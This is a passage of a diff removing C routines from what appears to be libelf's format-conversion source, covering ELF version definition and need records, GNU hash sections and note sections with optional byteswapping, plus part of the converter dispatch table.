-		if (byteswap) {
-			/* Swap an Elf32_Verdef */
-			SWAP_HALF(t.vd_version);
-			SWAP_HALF(t.vd_flags);
-			SWAP_HALF(t.vd_ndx);
-			SWAP_HALF(t.vd_cnt);
-			SWAP_WORD(t.vd_hash);
-			SWAP_WORD(t.vd_aux);
-			SWAP_WORD(t.vd_next);
-			/**/
-		}
-
-		dst = dtmp;
-		/* Write an Elf32_Verdef */
-		WRITE_HALF(dst,t.vd_version);
-		WRITE_HALF(dst,t.vd_flags);
-		WRITE_HALF(dst,t.vd_ndx);
-		WRITE_HALF(dst,t.vd_cnt);
-		WRITE_WORD(dst,t.vd_hash);
-		WRITE_WORD(dst,t.vd_aux);
-		WRITE_WORD(dst,t.vd_next);
-		/**/
-
-		if (aux < verfsz)
-			return (0);
-
-		/* Process AUX entries. */
-		for (anext = ~0, dstaux = dtmp + aux, srcaux = src + aux;
-		     cnt != 0 && anext != 0 && dstaux + auxfsz <= dstend &&
-			srcaux + auxmsz <= srcend;
-		     dstaux += anext, srcaux += anext, cnt--) {
-
-			/* Read in an Elf32_Verdaux structure. */
-			a = *((Elf32_Verdaux *) (uintptr_t) srcaux);
-			anext = a.vda_next;
-
-			if (byteswap) {
-				/* Swap an Elf32_Verdaux */
-			SWAP_WORD(a.vda_name);
-			SWAP_WORD(a.vda_next);
-			/**/
-			}
-
-			dst = dstaux;
-			/* Write an Elf32_Verdaux */
-		WRITE_WORD(dst,a.vda_name);
-		WRITE_WORD(dst,a.vda_next);
-		/**/
-		}
-
-		if (anext || cnt)
-			return (0);
-	}
-
-	if (vnext)
-		return (0);
-
-	return (1);
-}
-
-static int
-_libelf_cvt_VDEF32_tom(char *dst, size_t dsz, char *src, size_t count,
-    int byteswap)
-{
-	Elf32_Verdef	t, *dp;
-	Elf32_Verdaux	a, *ap;
-	const size_t	verfsz = 20;
-	const size_t	auxfsz = 8;
-	const size_t	vermsz = sizeof(Elf32_Verdef);
-	const size_t	auxmsz = sizeof(Elf32_Verdaux);
-	char * const	dstend = dst + dsz;
-	char * const	srcend = src + count;
-	char		*dstaux, *s, *srcaux, *stmp;
-	Elf32_Word	aux, anext, cnt, vnext;
-
-	for (stmp = src, vnext = ~0;
-	     vnext != 0 && stmp + verfsz <= srcend && dst + vermsz <= dstend;
-	     stmp += vnext, dst += vnext) {
-
-		/* Read in a VDEF structure. */
-		s = stmp;
-		/* Read an Elf32_Verdef */
-		READ_HALF(s,t.vd_version);
-		READ_HALF(s,t.vd_flags);
-		READ_HALF(s,t.vd_ndx);
-		READ_HALF(s,t.vd_cnt);
-		READ_WORD(s,t.vd_hash);
-		READ_WORD(s,t.vd_aux);
-		READ_WORD(s,t.vd_next);
-		/**/
-		if (byteswap) {
-			/* Swap an Elf32_Verdef */
-			SWAP_HALF(t.vd_version);
-			SWAP_HALF(t.vd_flags);
-			SWAP_HALF(t.vd_ndx);
-			SWAP_HALF(t.vd_cnt);
-			SWAP_WORD(t.vd_hash);
-			SWAP_WORD(t.vd_aux);
-			SWAP_WORD(t.vd_next);
-			/**/
-		}
-
-		dp = (Elf32_Verdef *) (uintptr_t) dst;
-		*dp = t;
-
-		aux = t.vd_aux;
-		cnt = t.vd_cnt;
-		vnext = t.vd_next;
-
-		if (aux < vermsz)
-			return (0);
-
-		/* Process AUX entries. */
-		for (anext = ~0, dstaux = dst + aux, srcaux = stmp + aux;
-		     cnt != 0 && anext != 0 && dstaux + auxmsz <= dstend &&
-			srcaux + auxfsz <= srcend;
-		     dstaux += anext, srcaux += anext, cnt--) {
-
-			s = srcaux;
-			/* Read an Elf32_Verdaux */
-		READ_WORD(s,a.vda_name);
-		READ_WORD(s,a.vda_next);
-		/**/
-
-			if (byteswap) {
-				/* Swap an Elf32_Verdaux */
-			SWAP_WORD(a.vda_name);
-			SWAP_WORD(a.vda_next);
-			/**/
-			}
-
-			anext = a.vda_next;
-
-			ap = ((Elf32_Verdaux *) (uintptr_t) dstaux);
-			*ap = a;
-		}
-
-		if (anext || cnt)
-			return (0);
-	}
-
-	if (vnext)
-		return (0);
-
-	return (1);
-}
-   
-static int
-_libelf_cvt_VDEF64_tof(char *dst, size_t dsz, char *src, size_t count,
-    int byteswap)
-{
-	Elf64_Verdef	t;
-	Elf64_Verdaux	a;
-	const size_t	verfsz = 20;
-	const size_t	auxfsz = 8;
-	const size_t	vermsz = sizeof(Elf64_Verdef);
-	const size_t	auxmsz = sizeof(Elf64_Verdaux);
-	char * const	dstend = dst + dsz;
-	char * const	srcend = src + count;
-	char		*dtmp, *dstaux, *srcaux;
-	Elf64_Word	aux, anext, cnt, vnext;
-
-	for (dtmp = dst, vnext = ~0;
-	     vnext != 0 && dtmp + verfsz <= dstend && src + vermsz <= srcend;
-	     dtmp += vnext, src += vnext) {
-
-		/* Read in an Elf64_Verdef structure. */
-		t = *((Elf64_Verdef *) (uintptr_t) src);
-
-		aux = t.vd_aux;
-		cnt = t.vd_cnt;
-		vnext = t.vd_next;
-
-		if (byteswap) {
-			/* Swap an Elf64_Verdef */
-			SWAP_HALF(t.vd_version);
-			SWAP_HALF(t.vd_flags);
-			SWAP_HALF(t.vd_ndx);
-			SWAP_HALF(t.vd_cnt);
-			SWAP_WORD(t.vd_hash);
-			SWAP_WORD(t.vd_aux);
-			SWAP_WORD(t.vd_next);
-			/**/
-		}
-
-		dst = dtmp;
-		/* Write an Elf64_Verdef */
-		WRITE_HALF(dst,t.vd_version);
-		WRITE_HALF(dst,t.vd_flags);
-		WRITE_HALF(dst,t.vd_ndx);
-		WRITE_HALF(dst,t.vd_cnt);
-		WRITE_WORD(dst,t.vd_hash);
-		WRITE_WORD(dst,t.vd_aux);
-		WRITE_WORD(dst,t.vd_next);
-		/**/
-
-		if (aux < verfsz)
-			return (0);
-
-		/* Process AUX entries. */
-		for (anext = ~0, dstaux = dtmp + aux, srcaux = src + aux;
-		     cnt != 0 && anext != 0 && dstaux + auxfsz <= dstend &&
-			srcaux + auxmsz <= srcend;
-		     dstaux += anext, srcaux += anext, cnt--) {
-
-			/* Read in an Elf64_Verdaux structure. */
-			a = *((Elf64_Verdaux *) (uintptr_t) srcaux);
-			anext = a.vda_next;
-
-			if (byteswap) {
-				/* Swap an Elf64_Verdaux */
-			SWAP_WORD(a.vda_name);
-			SWAP_WORD(a.vda_next);
-			/**/
-			}
-
-			dst = dstaux;
-			/* Write an Elf64_Verdaux */
-		WRITE_WORD(dst,a.vda_name);
-		WRITE_WORD(dst,a.vda_next);
-		/**/
-		}
-
-		if (anext || cnt)
-			return (0);
-	}
-
-	if (vnext)
-		return (0);
-
-	return (1);
-}
-
-static int
-_libelf_cvt_VDEF64_tom(char *dst, size_t dsz, char *src, size_t count,
-    int byteswap)
-{
-	Elf64_Verdef	t, *dp;
-	Elf64_Verdaux	a, *ap;
-	const size_t	verfsz = 20;
-	const size_t	auxfsz = 8;
-	const size_t	vermsz = sizeof(Elf64_Verdef);
-	const size_t	auxmsz = sizeof(Elf64_Verdaux);
-	char * const	dstend = dst + dsz;
-	char * const	srcend = src + count;
-	char		*dstaux, *s, *srcaux, *stmp;
-	Elf64_Word	aux, anext, cnt, vnext;
-
-	for (stmp = src, vnext = ~0;
-	     vnext != 0 && stmp + verfsz <= srcend && dst + vermsz <= dstend;
-	     stmp += vnext, dst += vnext) {
-
-		/* Read in a VDEF structure. */
-		s = stmp;
-		/* Read an Elf64_Verdef */
-		READ_HALF(s,t.vd_version);
-		READ_HALF(s,t.vd_flags);
-		READ_HALF(s,t.vd_ndx);
-		READ_HALF(s,t.vd_cnt);
-		READ_WORD(s,t.vd_hash);
-		READ_WORD(s,t.vd_aux);
-		READ_WORD(s,t.vd_next);
-		/**/
-		if (byteswap) {
-			/* Swap an Elf64_Verdef */
-			SWAP_HALF(t.vd_version);
-			SWAP_HALF(t.vd_flags);
-			SWAP_HALF(t.vd_ndx);
-			SWAP_HALF(t.vd_cnt);
-			SWAP_WORD(t.vd_hash);
-			SWAP_WORD(t.vd_aux);
-			SWAP_WORD(t.vd_next);
-			/**/
-		}
-
-		dp = (Elf64_Verdef *) (uintptr_t) dst;
-		*dp = t;
-
-		aux = t.vd_aux;
-		cnt = t.vd_cnt;
-		vnext = t.vd_next;
-
-		if (aux < vermsz)
-			return (0);
-
-		/* Process AUX entries. */
-		for (anext = ~0, dstaux = dst + aux, srcaux = stmp + aux;
-		     cnt != 0 && anext != 0 && dstaux + auxmsz <= dstend &&
-			srcaux + auxfsz <= srcend;
-		     dstaux += anext, srcaux += anext, cnt--) {
-
-			s = srcaux;
-			/* Read an Elf64_Verdaux */
-		READ_WORD(s,a.vda_name);
-		READ_WORD(s,a.vda_next);
-		/**/
-
-			if (byteswap) {
-				/* Swap an Elf64_Verdaux */
-			SWAP_WORD(a.vda_name);
-			SWAP_WORD(a.vda_next);
-			/**/
-			}
-
-			anext = a.vda_next;
-
-			ap = ((Elf64_Verdaux *) (uintptr_t) dstaux);
-			*ap = a;
-		}
-
-		if (anext || cnt)
-			return (0);
-	}
-
-	if (vnext)
-		return (0);
-
-	return (1);
-}
-
-static int
-_libelf_cvt_VNEED32_tof(char *dst, size_t dsz, char *src, size_t count,
-    int byteswap)
-{
-	Elf32_Verneed	t;
-	Elf32_Vernaux	a;
-	const size_t	verfsz = 16;
-	const size_t	auxfsz = 16;
-	const size_t	vermsz = sizeof(Elf32_Verneed);
-	const size_t	auxmsz = sizeof(Elf32_Vernaux);
-	char * const	dstend = dst + dsz;
-	char * const	srcend = src + count;
-	char		*dtmp, *dstaux, *srcaux;
-	Elf32_Word	aux, anext, cnt, vnext;
-
-	for (dtmp = dst, vnext = ~0;
-	     vnext != 0 && dtmp + verfsz <= dstend && src + vermsz <= srcend;
-	     dtmp += vnext, src += vnext) {
-
-		/* Read in an Elf32_Verneed structure. */
-		t = *((Elf32_Verneed *) (uintptr_t) src);
-
-		aux = t.vn_aux;
-		cnt = t.vn_cnt;
-		vnext = t.vn_next;
-
-		if (byteswap) {
-			/* Swap an Elf32_Verneed */
-			SWAP_HALF(t.vn_version);
-			SWAP_HALF(t.vn_cnt);
-			SWAP_WORD(t.vn_file);
-			SWAP_WORD(t.vn_aux);
-			SWAP_WORD(t.vn_next);
-			/**/
-		}
-
-		dst = dtmp;
-		/* Write an Elf32_Verneed */
-		WRITE_HALF(dst,t.vn_version);
-		WRITE_HALF(dst,t.vn_cnt);
-		WRITE_WORD(dst,t.vn_file);
-		WRITE_WORD(dst,t.vn_aux);
-		WRITE_WORD(dst,t.vn_next);
-		/**/
-
-		if (aux < verfsz)
-			return (0);
-
-		/* Process AUX entries. */
-		for (anext = ~0, dstaux = dtmp + aux, srcaux = src + aux;
-		     cnt != 0 && anext != 0 && dstaux + auxfsz <= dstend &&
-			srcaux + auxmsz <= srcend;
-		     dstaux += anext, srcaux += anext, cnt--) {
-
-			/* Read in an Elf32_Vernaux structure. */
-			a = *((Elf32_Vernaux *) (uintptr_t) srcaux);
-			anext = a.vna_next;
-
-			if (byteswap) {
-				/* Swap an Elf32_Vernaux */
-			SWAP_WORD(a.vna_hash);
-			SWAP_HALF(a.vna_flags);
-			SWAP_HALF(a.vna_other);
-			SWAP_WORD(a.vna_name);
-			SWAP_WORD(a.vna_next);
-			/**/
-			}
-
-			dst = dstaux;
-			/* Write an Elf32_Vernaux */
-		WRITE_WORD(dst,a.vna_hash);
-		WRITE_HALF(dst,a.vna_flags);
-		WRITE_HALF(dst,a.vna_other);
-		WRITE_WORD(dst,a.vna_name);
-		WRITE_WORD(dst,a.vna_next);
-		/**/
-		}
-
-		if (anext || cnt)
-			return (0);
-	}
-
-	if (vnext)
-		return (0);
-
-	return (1);
-}
-
-static int
-_libelf_cvt_VNEED32_tom(char *dst, size_t dsz, char *src, size_t count,
-    int byteswap)
-{
-	Elf32_Verneed	t, *dp;
-	Elf32_Vernaux	a, *ap;
-	const size_t	verfsz = 16;
-	const size_t	auxfsz = 16;
-	const size_t	vermsz = sizeof(Elf32_Verneed);
-	const size_t	auxmsz = sizeof(Elf32_Vernaux);
-	char * const	dstend = dst + dsz;
-	char * const	srcend = src + count;
-	char		*dstaux, *s, *srcaux, *stmp;
-	Elf32_Word	aux, anext, cnt, vnext;
-
-	for (stmp = src, vnext = ~0;
-	     vnext != 0 && stmp + verfsz <= srcend && dst + vermsz <= dstend;
-	     stmp += vnext, dst += vnext) {
-
-		/* Read in a VNEED structure. */
-		s = stmp;
-		/* Read an Elf32_Verneed */
-		READ_HALF(s,t.vn_version);
-		READ_HALF(s,t.vn_cnt);
-		READ_WORD(s,t.vn_file);
-		READ_WORD(s,t.vn_aux);
-		READ_WORD(s,t.vn_next);
-		/**/
-		if (byteswap) {
-			/* Swap an Elf32_Verneed */
-			SWAP_HALF(t.vn_version);
-			SWAP_HALF(t.vn_cnt);
-			SWAP_WORD(t.vn_file);
-			SWAP_WORD(t.vn_aux);
-			SWAP_WORD(t.vn_next);
-			/**/
-		}
-
-		dp = (Elf32_Verneed *) (uintptr_t) dst;
-		*dp = t;
-
-		aux = t.vn_aux;
-		cnt = t.vn_cnt;
-		vnext = t.vn_next;
-
-		if (aux < vermsz)
-			return (0);
-
-		/* Process AUX entries. */
-		for (anext = ~0, dstaux = dst + aux, srcaux = stmp + aux;
-		     cnt != 0 && anext != 0 && dstaux + auxmsz <= dstend &&
-			srcaux + auxfsz <= srcend;
-		     dstaux += anext, srcaux += anext, cnt--) {
-
-			s = srcaux;
-			/* Read an Elf32_Vernaux */
-		READ_WORD(s,a.vna_hash);
-		READ_HALF(s,a.vna_flags);
-		READ_HALF(s,a.vna_other);
-		READ_WORD(s,a.vna_name);
-		READ_WORD(s,a.vna_next);
-		/**/
-
-			if (byteswap) {
-				/* Swap an Elf32_Vernaux */
-			SWAP_WORD(a.vna_hash);
-			SWAP_HALF(a.vna_flags);
-			SWAP_HALF(a.vna_other);
-			SWAP_WORD(a.vna_name);
-			SWAP_WORD(a.vna_next);
-			/**/
-			}
-
-			anext = a.vna_next;
-
-			ap = ((Elf32_Vernaux *) (uintptr_t) dstaux);
-			*ap = a;
-		}
-
-		if (anext || cnt)
-			return (0);
-	}
-
-	if (vnext)
-		return (0);
-
-	return (1);
-}
-   
-static int
-_libelf_cvt_VNEED64_tof(char *dst, size_t dsz, char *src, size_t count,
-    int byteswap)
-{
-	Elf64_Verneed	t;
-	Elf64_Vernaux	a;
-	const size_t	verfsz = 16;
-	const size_t	auxfsz = 16;
-	const size_t	vermsz = sizeof(Elf64_Verneed);
-	const size_t	auxmsz = sizeof(Elf64_Vernaux);
-	char * const	dstend = dst + dsz;
-	char * const	srcend = src + count;
-	char		*dtmp, *dstaux, *srcaux;
-	Elf64_Word	aux, anext, cnt, vnext;
-
-	for (dtmp = dst, vnext = ~0;
-	     vnext != 0 && dtmp + verfsz <= dstend && src + vermsz <= srcend;
-	     dtmp += vnext, src += vnext) {
-
-		/* Read in an Elf64_Verneed structure. */
-		t = *((Elf64_Verneed *) (uintptr_t) src);
-
-		aux = t.vn_aux;
-		cnt = t.vn_cnt;
-		vnext = t.vn_next;
-
-		if (byteswap) {
-			/* Swap an Elf64_Verneed */
-			SWAP_HALF(t.vn_version);
-			SWAP_HALF(t.vn_cnt);
-			SWAP_WORD(t.vn_file);
-			SWAP_WORD(t.vn_aux);
-			SWAP_WORD(t.vn_next);
-			/**/
-		}
-
-		dst = dtmp;
-		/* Write an Elf64_Verneed */
-		WRITE_HALF(dst,t.vn_version);
-		WRITE_HALF(dst,t.vn_cnt);
-		WRITE_WORD(dst,t.vn_file);
-		WRITE_WORD(dst,t.vn_aux);
-		WRITE_WORD(dst,t.vn_next);
-		/**/
-
-		if (aux < verfsz)
-			return (0);
-
-		/* Process AUX entries. */
-		for (anext = ~0, dstaux = dtmp + aux, srcaux = src + aux;
-		     cnt != 0 && anext != 0 && dstaux + auxfsz <= dstend &&
-			srcaux + auxmsz <= srcend;
-		     dstaux += anext, srcaux += anext, cnt--) {
-
-			/* Read in an Elf64_Vernaux structure. */
-			a = *((Elf64_Vernaux *) (uintptr_t) srcaux);
-			anext = a.vna_next;
-
-			if (byteswap) {
-				/* Swap an Elf64_Vernaux */
-			SWAP_WORD(a.vna_hash);
-			SWAP_HALF(a.vna_flags);
-			SWAP_HALF(a.vna_other);
-			SWAP_WORD(a.vna_name);
-			SWAP_WORD(a.vna_next);
-			/**/
-			}
-
-			dst = dstaux;
-			/* Write an Elf64_Vernaux */
-		WRITE_WORD(dst,a.vna_hash);
-		WRITE_HALF(dst,a.vna_flags);
-		WRITE_HALF(dst,a.vna_other);
-		WRITE_WORD(dst,a.vna_name);
-		WRITE_WORD(dst,a.vna_next);
-		/**/
-		}
-
-		if (anext || cnt)
-			return (0);
-	}
-
-	if (vnext)
-		return (0);
-
-	return (1);
-}
-
-static int
-_libelf_cvt_VNEED64_tom(char *dst, size_t dsz, char *src, size_t count,
-    int byteswap)
-{
-	Elf64_Verneed	t, *dp;
-	Elf64_Vernaux	a, *ap;
-	const size_t	verfsz = 16;
-	const size_t	auxfsz = 16;
-	const size_t	vermsz = sizeof(Elf64_Verneed);
-	const size_t	auxmsz = sizeof(Elf64_Vernaux);
-	char * const	dstend = dst + dsz;
-	char * const	srcend = src + count;
-	char		*dstaux, *s, *srcaux, *stmp;
-	Elf64_Word	aux, anext, cnt, vnext;
-
-	for (stmp = src, vnext = ~0;
-	     vnext != 0 && stmp + verfsz <= srcend && dst + vermsz <= dstend;
-	     stmp += vnext, dst += vnext) {
-
-		/* Read in a VNEED structure. */
-		s = stmp;
-		/* Read an Elf64_Verneed */
-		READ_HALF(s,t.vn_version);
-		READ_HALF(s,t.vn_cnt);
-		READ_WORD(s,t.vn_file);
-		READ_WORD(s,t.vn_aux);
-		READ_WORD(s,t.vn_next);
-		/**/
-		if (byteswap) {
-			/* Swap an Elf64_Verneed */
-			SWAP_HALF(t.vn_version);
-			SWAP_HALF(t.vn_cnt);
-			SWAP_WORD(t.vn_file);
-			SWAP_WORD(t.vn_aux);
-			SWAP_WORD(t.vn_next);
-			/**/
-		}
-
-		dp = (Elf64_Verneed *) (uintptr_t) dst;
-		*dp = t;
-
-		aux = t.vn_aux;
-		cnt = t.vn_cnt;
-		vnext = t.vn_next;
-
-		if (aux < vermsz)
-			return (0);
-
-		/* Process AUX entries. */
-		for (anext = ~0, dstaux = dst + aux, srcaux = stmp + aux;
-		     cnt != 0 && anext != 0 && dstaux + auxmsz <= dstend &&
-			srcaux + auxfsz <= srcend;
-		     dstaux += anext, srcaux += anext, cnt--) {
-
-			s = srcaux;
-			/* Read an Elf64_Vernaux */
-		READ_WORD(s,a.vna_hash);
-		READ_HALF(s,a.vna_flags);
-		READ_HALF(s,a.vna_other);
-		READ_WORD(s,a.vna_name);
-		READ_WORD(s,a.vna_next);
-		/**/
-
-			if (byteswap) {
-				/* Swap an Elf64_Vernaux */
-			SWAP_WORD(a.vna_hash);
-			SWAP_HALF(a.vna_flags);
-			SWAP_HALF(a.vna_other);
-			SWAP_WORD(a.vna_name);
-			SWAP_WORD(a.vna_next);
-			/**/
-			}
-
-			anext = a.vna_next;
-
-			ap = ((Elf64_Vernaux *) (uintptr_t) dstaux);
-			*ap = a;
-		}
-
-		if (anext || cnt)
-			return (0);
-	}
-
-	if (vnext)
-		return (0);
-
-	return (1);
-}
-/*]*/
-
-/*
- * Sections of type ELF_T_BYTE are never byteswapped, consequently a
- * simple memcpy suffices for both directions of conversion.
- */
-
-static int
-_libelf_cvt_BYTE_tox(char *dst, size_t dsz, char *src, size_t count,
-    int byteswap)
-{
-	(void) byteswap;
-	if (dsz < count)
-		return (0);
-	if (dst != src)
-		(void) memcpy(dst, src, count);
-	return (1);
-}
-
-/*
- * Sections of type ELF_T_GNUHASH start with a header containing 4 32-bit
- * words.  Bloom filter data comes next, followed by hash buckets and the
- * hash chain.
- *
- * Bloom filter words are 64 bit wide on ELFCLASS64 objects and are 32 bit
- * wide on ELFCLASS32 objects.  The other objects in this section are 32
- * bits wide.
- *
- * Argument srcsz denotes the number of bytes to be converted.  In the
- * 32-bit case we need to translate srcsz to a count of 32-bit words.
- */
-
-static int
-_libelf_cvt_GNUHASH32_tom(char *dst, size_t dsz, char *src, size_t srcsz,
-    int byteswap)
-{
-	return (_libelf_cvt_WORD_tom(dst, dsz, src, srcsz / sizeof(uint32_t),
-		byteswap));
-}
-
-static int
-_libelf_cvt_GNUHASH32_tof(char *dst, size_t dsz, char *src, size_t srcsz,
-    int byteswap)
-{
-	return (_libelf_cvt_WORD_tof(dst, dsz, src, srcsz / sizeof(uint32_t),
-		byteswap));
-}
-
-static int
-_libelf_cvt_GNUHASH64_tom(char *dst, size_t dsz, char *src, size_t srcsz,
-    int byteswap)
-{
-	size_t sz;
-	uint64_t t64, *bloom64;
-	Elf_GNU_Hash_Header *gh;
-	uint32_t n, nbuckets, nchains, maskwords, shift2, symndx, t32;
-	uint32_t *buckets, *chains;
-
-	sz = 4 * sizeof(uint32_t);	/* File header is 4 words long. */
-	if (dsz < sizeof(Elf_GNU_Hash_Header) || srcsz < sz)
-		return (0);
-
-	/* Read in the section header and byteswap if needed. */
-	READ_WORD(src, nbuckets);
-	READ_WORD(src, symndx);
-	READ_WORD(src, maskwords);
-	READ_WORD(src, shift2);
-
-	srcsz -= sz;
-
-	if (byteswap) {
-		SWAP_WORD(nbuckets);
-		SWAP_WORD(symndx);
-		SWAP_WORD(maskwords);
-		SWAP_WORD(shift2);
-	}
-
-	/* Check source buffer and destination buffer sizes. */
-	sz = nbuckets * sizeof(uint32_t) + maskwords * sizeof(uint64_t);
-	if (srcsz < sz || dsz < sz + sizeof(Elf_GNU_Hash_Header))
-		return (0);
-
-	gh = (Elf_GNU_Hash_Header *) (uintptr_t) dst;
-	gh->gh_nbuckets  = nbuckets;
-	gh->gh_symndx    = symndx;
-	gh->gh_maskwords = maskwords;
-	gh->gh_shift2    = shift2;
-
-	dsz -= sizeof(Elf_GNU_Hash_Header);
-	dst += sizeof(Elf_GNU_Hash_Header);
-
-	bloom64 = (uint64_t *) (uintptr_t) dst;
-
-	/* Copy bloom filter data. */
-	for (n = 0; n < maskwords; n++) {
-		READ_XWORD(src, t64);
-		if (byteswap)
-			SWAP_XWORD(t64);
-		bloom64[n] = t64;
-	}
-
-	/* The hash buckets follows the bloom filter. */
-	dst += maskwords * sizeof(uint64_t);
-	buckets = (uint32_t *) (uintptr_t) dst;
-
-	for (n = 0; n < nbuckets; n++) {
-		READ_WORD(src, t32);
-		if (byteswap)
-			SWAP_WORD(t32);
-		buckets[n] = t32;
-	}
-
-	dst += nbuckets * sizeof(uint32_t);
-
-	/* The hash chain follows the hash buckets. */
-	dsz -= sz;
-	srcsz -= sz;
-
-	if (dsz < srcsz)	/* Destination lacks space. */
-		return (0);
-
-	nchains = srcsz / sizeof(uint32_t);
-	chains = (uint32_t *) (uintptr_t) dst;
-
-	for (n = 0; n < nchains; n++) {
-		READ_WORD(src, t32);
-		if (byteswap)
-			SWAP_WORD(t32);
-		*chains++ = t32;
-	}
-
-	return (1);
-}
-
-static int
-_libelf_cvt_GNUHASH64_tof(char *dst, size_t dsz, char *src, size_t srcsz,
-    int byteswap)
-{
-	uint32_t *s32;
-	size_t sz, hdrsz;
-	uint64_t *s64, t64;
-	Elf_GNU_Hash_Header *gh;
-	uint32_t maskwords, n, nbuckets, nchains, t0, t1, t2, t3, t32;
-
-	hdrsz = 4 * sizeof(uint32_t);	/* Header is 4x32 bits. */
-	if (dsz < hdrsz || srcsz < sizeof(Elf_GNU_Hash_Header))
-		return (0);
-
-	gh = (Elf_GNU_Hash_Header *) (uintptr_t) src;
-
-	t0 = nbuckets = gh->gh_nbuckets;
-	t1 = gh->gh_symndx;
-	t2 = maskwords = gh->gh_maskwords;
-	t3 = gh->gh_shift2;
-
-	src   += sizeof(Elf_GNU_Hash_Header);
-	srcsz -= sizeof(Elf_GNU_Hash_Header);
-	dsz   -= hdrsz;
-
-	sz = gh->gh_nbuckets * sizeof(uint32_t) + gh->gh_maskwords *
-	    sizeof(uint64_t);
-
-	if (srcsz < sz || dsz < sz)
-		return (0);
-
-	/* Write out the header. */
-	if (byteswap) {
-		SWAP_WORD(t0);
-		SWAP_WORD(t1);
-		SWAP_WORD(t2);
-		SWAP_WORD(t3);
-	}
-
-	WRITE_WORD(dst, t0);
-	WRITE_WORD(dst, t1);
-	WRITE_WORD(dst, t2);
-	WRITE_WORD(dst, t3);
-
-	/* Copy the bloom filter and the hash table. */
-	s64 = (uint64_t *) (uintptr_t) src;
-	for (n = 0; n < maskwords; n++) {
-		t64 = *s64++;
-		if (byteswap)
-			SWAP_XWORD(t64);
-		WRITE_WORD64(dst, t64);
-	}
-
-	s32 = (uint32_t *) s64;
-	for (n = 0; n < nbuckets; n++) {
-		t32 = *s32++;
-		if (byteswap)
-			SWAP_WORD(t32);
-		WRITE_WORD(dst, t32);
-	}
-
-	srcsz -= sz;
-	dsz   -= sz;
-
-	/* Copy out the hash chains. */
-	if (dsz < srcsz)
-		return (0);
-
-	nchains = srcsz / sizeof(uint32_t);
-	for (n = 0; n < nchains; n++) {
-		t32 = *s32++;
-		if (byteswap)
-			SWAP_WORD(t32);
-		WRITE_WORD(dst, t32);
-	}
-
-	return (1);
-}
-
-/*
- * Elf_Note structures comprise a fixed size header followed by variable
- * length strings.  The fixed size header needs to be byte swapped, but
- * not the strings.
- *
- * Argument count denotes the total number of bytes to be converted.
- * The destination buffer needs to be at least count bytes in size.
- */
-static int
-_libelf_cvt_NOTE_tom(char *dst, size_t dsz, char *src, size_t count,
-    int byteswap)
-{
-	uint32_t namesz, descsz, type;
-	Elf_Note *en;
-	size_t sz, hdrsz;
-
-	if (dsz < count)	/* Destination buffer is too small. */
-		return (0);
-
-	hdrsz = 3 * sizeof(uint32_t);
-	if (count < hdrsz)		/* Source too small. */
-		return (0);
-
-	if (!byteswap) {
-		(void) memcpy(dst, src, count);
-		return (1);
-	}
-
-	/* Process all notes in the section. */
-	while (count > hdrsz) {
-		/* Read the note header. */
-		READ_WORD(src, namesz);
-		READ_WORD(src, descsz);
-		READ_WORD(src, type);
-
-		/* Translate. */
-		SWAP_WORD(namesz);
-		SWAP_WORD(descsz);
-		SWAP_WORD(type);
-
-		/* Copy out the translated note header. */
-		en = (Elf_Note *) (uintptr_t) dst;
-		en->n_namesz = namesz;
-		en->n_descsz = descsz;
-		en->n_type = type;
-
-		dsz -= sizeof(Elf_Note);
-		dst += sizeof(Elf_Note);
-		count -= hdrsz;
-
-		ROUNDUP2(namesz, 4);
-		ROUNDUP2(descsz, 4);
-
-		sz = namesz + descsz;
-
-		if (count < sz || dsz < sz)	/* Buffers are too small. */
-			return (0);
-
-		(void) memcpy(dst, src, sz);
-
-		src += sz;
-		dst += sz;
-
-		count -= sz;
-		dsz -= sz;
-	}
-
-	return (1);
-}
-
-static int
-_libelf_cvt_NOTE_tof(char *dst, size_t dsz, char *src, size_t count,
-    int byteswap)
-{
-	uint32_t namesz, descsz, type;
-	Elf_Note *en;
-	size_t sz;
-
-	if (dsz < count)
-		return (0);
-
-	if (!byteswap) {
-		(void) memcpy(dst, src, count);
-		return (1);
-	}
-
-	while (count > sizeof(Elf_Note)) {
-
-		en = (Elf_Note *) (uintptr_t) src;
-		namesz = en->n_namesz;
-		descsz = en->n_descsz;
-		type = en->n_type;
-
-		SWAP_WORD(namesz);
-		SWAP_WORD(descsz);
-		SWAP_WORD(type);
-
-		WRITE_WORD(dst, namesz);
-		WRITE_WORD(dst, descsz);
-		WRITE_WORD(dst, type);
-
-		src += sizeof(Elf_Note);
-
-		ROUNDUP2(namesz, 4);
-		ROUNDUP2(descsz, 4);
-
-		sz = namesz + descsz;
-
-		if (count < sz)
-			sz = count;
-
-		(void) memcpy(dst, src, sz);
-
-		src += sz;
-		dst += sz;
-		count -= sz;
-	}
-
-	return (1);
-}
-
-struct converters {
-	int	(*tof32)(char *dst, size_t dsz, char *src, size_t cnt,
-		    int byteswap);
-	int	(*tom32)(char *dst, size_t dsz, char *src, size_t cnt,
-		    int byteswap);
-	int	(*tof64)(char *dst, size_t dsz, char *src, size_t cnt,
-		    int byteswap);
-	int	(*tom64)(char *dst, size_t dsz, char *src, size_t cnt,
-		    int byteswap);
-};
-
-
-static struct converters cvt[ELF_T_NUM] = {
-	/*[*/
-	[ELF_T_ADDR] = {
-		.tof32 = _libelf_cvt_ADDR32_tof,
-		.tom32 = _libelf_cvt_ADDR32_tom,
-		.tof64 = _libelf_cvt_ADDR64_tof,
-		.tom64 = _libelf_cvt_ADDR64_tom
-	},
-
-	[ELF_T_CAP] = {
-		.tof32 = _libelf_cvt_CAP32_tof,
-		.tom32 = _libelf_cvt_CAP32_tom,
-		.tof64 = _libelf_cvt_CAP64_tof,
-		.tom64 = _libelf_cvt_CAP64_tom
-	},
-
-	[ELF_T_DYN] = {
-		.tof32 = _libelf_cvt_DYN32_tof,
-		.tom32 = _libelf_cvt_DYN32_tom,
-		.tof64 = _libelf_cvt_DYN64_tof,
-		.tom64 = _libelf_cvt_DYN64_tom
-	},
-
-	[ELF_T_EHDR] = {
-		.tof32 = _libelf_cvt_EHDR32_tof,
-		.tom32 = _libelf_cvt_EHDR32_tom,
-		.tof64 = _libelf_cvt_EHDR64_tof,
-		.tom64 = _libelf_cvt_EHDR64_tom
-	},
-
-	[ELF_T_GNUHASH] = {
-		.tof32 = _libelf_cvt_GNUHASH32_tof,
-		.tom32 = _libelf_cvt_GNUHASH32_tom,
-		.tof64 = _libelf_cvt_GNUHASH64_tof,
-		.tom64 = _libelf_cvt_GNUHASH64_tom
-	},
-
-	[ELF_T_HALF] = {
-		.tof32 = _libelf_cvt_HALF_tof,
-		.tom32 = _libelf_cvt_HALF_tom,
